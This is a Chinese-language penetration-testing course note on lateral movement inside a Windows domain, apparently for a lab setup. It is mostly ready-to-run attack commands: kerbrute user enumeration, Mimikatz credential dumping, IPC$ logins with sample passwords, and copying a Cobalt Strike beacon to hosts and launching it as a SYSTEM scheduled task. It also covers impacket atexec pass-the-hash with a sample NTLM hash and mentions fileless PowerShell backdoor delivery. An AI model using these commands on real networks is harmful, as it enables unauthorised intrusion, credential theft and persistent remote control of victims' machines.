#横向移动入口知识点:
收集到域内用户和凭据后,为后续利用各种协议密码喷射通讯上线提供条件,如果当前被控机在域内还是域外,收集方法会有所差异,具体看演示及讲解。
1、当前被控处于域内还是域外
-在域内
获取域内用户及凭据
-不在域内
获取域内用户(枚举)及凭据
https://github.com/ropnop/kerbrute
kerbrute_windows_amd64.exe userenum --dc ip -d 域名 字典文件
切换到域内用户(提权或切换到域内用户)
条件:获取到域内用户及凭据
2、当前凭据为明文密码还是HASH
Minikatz(现在可以抓到hash但是有的操作必须要明文才可以)
当系统为win10或者2012R2以上,内存中默认禁止缓存明文密码
可通过修改注册表的方式进行抓取,但需重启后重新登录时才能抓取。
横向移动收集密码是拿到某个主机权限就开始收集 知道收集到域控密码 一直密码喷射
#横向移动凭据知识点:
IPC域内移动测试:(防火墙需要开启文件和打印机共享)
IPC$(Internet Process Connection)是共享"命名管道"的资源,它是一个用于进程间通信的开放式命名管道,通过提供一个可信的用户名和密码,连接双方可以建立一个安全通道并通过这个通道交换加密数据,从而实现对远程计算机的访问。需要使用目标系统用户的账号密码,使用139、445端口。
-
建立IPC链接到目标主机
-
拷贝要执行的命令脚本到目标主机
-
查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
-
删除IPC链接
#建立IPC失败的原因
(1)目标系统不是NT或以上的操作系统
(2)对方没有打开IPC$共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
0、上线配置
正向:(入站可以ping通目标主机说明入站没有限制就可以直接正向连接)
beacon_bind_tcp->beacon.exe
connect 192.168.3.32 4444
反向:
代理转发->转发上线->beacon.exe
1、IPC$利用命令:
net use \\server\ipc$ "password" /user:计算机名\username # 工作组(账号密码是自己前期收集到的 server是攻击的目标主机ip地址)(god/admin god是计算机名(域名) admin是本地用户名(域内用户名)./admin或者admin都是默认admin是本地用户名)
net use \\server\ipc$ "password" /user:域名\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除IPC
net view xx.xx.xx.xx # 查看对方共享
讲课错误补充:(讲解见后面单独录的视频)
域内用户权限测试:webadmin权限
net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administrator
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
理解为登录域里的administrator而不是登录目标的administrator用户
域外用户权限测试:administrator权限
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
//登录本机administrator用户
net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administrator
//登录sqlserver机器的administrator用户
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin
//登录god域的administrator用户
防火墙开启入站阻止入站测试
防火墙开启入站放行入站测试
at\] \& \[schtasks\]计划任务配合 1、at \< Windows2012 copy beacon.exe \\\\192.168.3.21\\c$ #拷贝执行文件到目标机器 at \\\\192.168.3.21 15:47 c:\\beacon.exe #添加计划任务 2、schtasks \>=Windows2012 copy beacon.exe \\\\192.168.3.32\\c$ #拷贝执行文件到目标机器 schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\\beacon.exe /F #创beacon任务对应执行文件 schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务 schtasks /delete /s 192.168.3.32 /tn beacon /f#删除beacon任务 补充: #建立IPC常见的错误代码 (1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 (2)51:网络问题,Windows 无法找到网络路径 (3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题 (4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$ (5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除 (6)1326:账号密码错误 (7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况 (8)2242:用户密码过期,目标有账号策略,强制定期更改密码 以上都是密码是明文 但是抓取密码现在很多都是hash值了 就需要用插件了 #域横向移动-IPC-工具版-插件\&impacket 1、CS插件LSTARS-横向移动-IPC连接 采用默认命令调用执行,不需socks代理 2、impacket(套件) 该工具是一个半交互的横向移动工具,适用于Socks代理下; https://github.com/fortra/impacket python atexec.py god/administrator:Admin12345@192.168.3.21 "ver" python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami" 但是这是建立ipc 但是如何进行执行后门呢 1.下载后门 执行后门 现在目标主机是3网段 需要自己给被控机提供下载服务 然后在棱角社区自己找命令下载执行 2.powershell无文件落地上线 3、其他UI工具:(暂时用不到) https://mp.weixin.qq.com/s/L3uzzAAziZd1y3qNmADfoQ #IPC非域内移动测试分析